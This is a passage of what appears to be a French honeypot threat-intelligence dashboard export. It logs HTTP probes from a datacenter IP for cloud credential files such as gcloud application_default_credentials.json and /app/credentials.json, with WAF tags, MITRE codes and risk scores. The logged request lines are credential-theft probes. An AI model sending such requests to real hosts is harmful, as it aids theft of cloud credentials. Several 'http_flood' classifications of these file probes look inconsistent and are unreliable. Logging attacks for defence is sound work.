"campaign_key": "f24aa19b861b9f57d88ee4561751cd3e6d0a2752",
"event_fingerprint": "d434487fb7e1166aad07887a762e9ca2e34da838",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "8ea6d86a91aa84cf816accd7778ba9b9",
"path_pattern_hash": "8c92809f745c84afce18dde89ffef64c"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozil",
"method": "GET",
"path": "\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:808",
"payload_snippet": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozil",
"evidence": {
"method": "GET",
"path": "\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:808",
"payload_snippet": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozil",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1f733632dc7eab19b6f30dacf1fa502719fb6ce6",
"protocol_details": {
"http_method": "GET",
"http_path": "\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozil",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/home\/ubuntu\/.config\/gcloud\/application_default\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/home\/ubuntu\/.config\/gcloud\/application_default\u2026",
"evidence_snippet": "GET \/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozil",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /home/node/.config/gcloud/application_default_c…
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /home/node/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/home/node/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/home/node/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 63
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /home/node/.config/gcloud/application_default_credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /home/node/.config/gcloud/application_default_credentials.json HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla
Requête brute (extrait)
GET /home/node/.config/gcloud/application_default_credentials.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 5,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "874c0f8fdb9b12be4a2fcc443444c107c71bd32b",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 259,
"payload_entropy": 5.334493572208779,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 63,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "f24aa19b861b9f57d88ee4561751cd3e6d0a2752",
"event_fingerprint": "31588587c2c7946033cd928719172b63a30bf24b",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "81d88c08d3bfb498dda1913fefc60997",
"path_pattern_hash": "7834cfb5e80c33e51e4ce4a3e829d805"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla",
"method": "GET",
"path": "\/home\/node\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r",
"payload_snippet": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla",
"evidence": {
"method": "GET",
"path": "\/home\/node\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r",
"payload_snippet": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a77d72eb27ae1022a1b59e703657f04381d50c8c",
"protocol_details": {
"http_method": "GET",
"http_path": "\/home\/node\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/home\/node\/.config\/gcloud\/application_default_c\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/home\/node\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/home\/node\/.config\/gcloud\/application_default_c\u2026",
"evidence_snippet": "GET \/home\/node\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Sonde fichier credential / clé
credential file probe · via HTTP:8080 · (tentative d'exploit) · → /app/credentials.json
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /app/credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/app/credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/app/credentials.json
Pourquoi cette classification : Sonde fichier sensible: fichier credential/clé · Règle WAF « rce-0 » · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0472
Upstream
Waf Score
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred Credentials JSON
Ligne de requête
GET /app/credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /app/credentials.json HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW
Requête brute (extrait)
GET /app/credentials.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "2b1fad601acc14f5ed25efdafdf285e1c91df041",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 218,
"payload_entropy": 5.325385947690835,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 84,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 64,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "01ce65f598dd9ec5c533c7541b7a7f2dd75291aa",
"event_fingerprint": "779583766a03ae9f2cc7d8a172ee41f4387edd13",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 135,
"precision_signals": [
"pat-0472",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"pat-0472",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0472"
],
"matched_pattern_names": [
"Cred Credentials JSON"
],
"pattern_ids": [
"pat-0472"
],
"confidence_breakdown": {
"waf": 84,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "lfi_attack",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "f5015eaafdf0ccc04a8bdba6de200e99",
"path_pattern_hash": "7bdd4b63d6391f4fc5a5b1867d0b1c5e"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"payload_preview": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"method": "GET",
"path": "\/app\/credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/app\/credentials.json HTTP\/1.1",
"request_sample": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"evidence": {
"method": "GET",
"path": "\/app\/credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/app\/credentials.json HTTP\/1.1",
"request_sample": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "05adee00b945b9bd933b112b3201329613ca81d0",
"protocol_details": {
"http_method": "GET",
"http_path": "\/app\/credentials.json",
"request_line": "GET \/app\/credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/app\/credentials.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"pat-0472",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"pat-0472",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/app\/credentials.json",
"request_line": "GET \/app\/credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/app\/credentials.json",
"evidence_snippet": "GET \/app\/credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
